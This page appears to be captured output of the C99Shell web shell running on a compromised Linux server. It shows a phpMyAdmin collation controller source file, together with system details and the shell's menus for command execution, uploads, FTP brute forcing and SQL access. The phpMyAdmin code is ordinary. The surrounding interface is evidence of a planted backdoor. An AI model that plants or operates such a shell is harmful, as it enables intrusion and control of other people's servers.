!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Database/Operations/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CollationController.php (3.09 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Database\Operations;

use 
PhpMyAdmin\Controllers\Database\AbstractController;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Operations;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
__;

final class 
CollationController extends AbstractController
{
    
/** @var Operations */
    
private $operations;

    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(
        
ResponseRenderer $response,
        
Template $template,
        
string $db,
        
Operations $operations,
        
DatabaseInterface $dbi
    
) {
        
parent::__construct($response$template$db);
        
$this->operations $operations;
        
$this->dbi $dbi;
    }

    public function 
__invoke(): void
    
{
        global 
$db$cfg$errorUrl;

        if (! 
$this->response->isAjax()) {
            return;
        }

        if (empty(
$_POST['db_collation'])) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'Message::error(__('No collation provided.')));

            return;
        }

        
Util::checkParameters(['db']);

        
$errorUrl Util::getScriptNameForOption($cfg['DefaultTabDatabase'], 'database');
        
$errorUrl .= Url::getCommon(['db' => $db], '&');

        if (! 
$this->hasDatabase()) {
            return;
        }

        
$sql_query 'ALTER DATABASE ' Util::backquote($db)
            . 
' DEFAULT' Util::getCharsetQueryPart($_POST['db_collation'] ?? '');
        
$this->dbi->query($sql_query);
        
$message Message::success();

        
/**
         * Changes tables charset if requested by the user
         */
        
if (isset($_POST['change_all_tables_collations']) && $_POST['change_all_tables_collations'] === 'on') {
            [
$tables] = Util::getDbInfo($db'');
            foreach (
$tables as $tableName => $data) {
                if (
$this->dbi->getTable($db$tableName)->isView()) {
                    
// Skip views, we can not change the collation of a view.
                    // issue #15283
                    
continue;
                }

                
$sql_query 'ALTER TABLE '
                    
Util::backquote($db)
                    . 
'.'
                    
Util::backquote($tableName)
                    . 
' DEFAULT '
                    
Util::getCharsetQueryPart($_POST['db_collation'] ?? '');
                
$this->dbi->query($sql_query);

                
/**
                 * Changes columns charset if requested by the user
                 */
                
if (
                    ! isset(
$_POST['change_all_tables_columns_collations']) ||
                    
$_POST['change_all_tables_columns_collations'] !== 'on'
                
) {
                    continue;
                }

                
$this->operations->changeAllColumnsCollation($db$tableName$_POST['db_collation']);
            }
        }

        
$this->response->setRequestStatus($message->isSuccess());
        
$this->response->addJSON('message'$message);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0187 ]--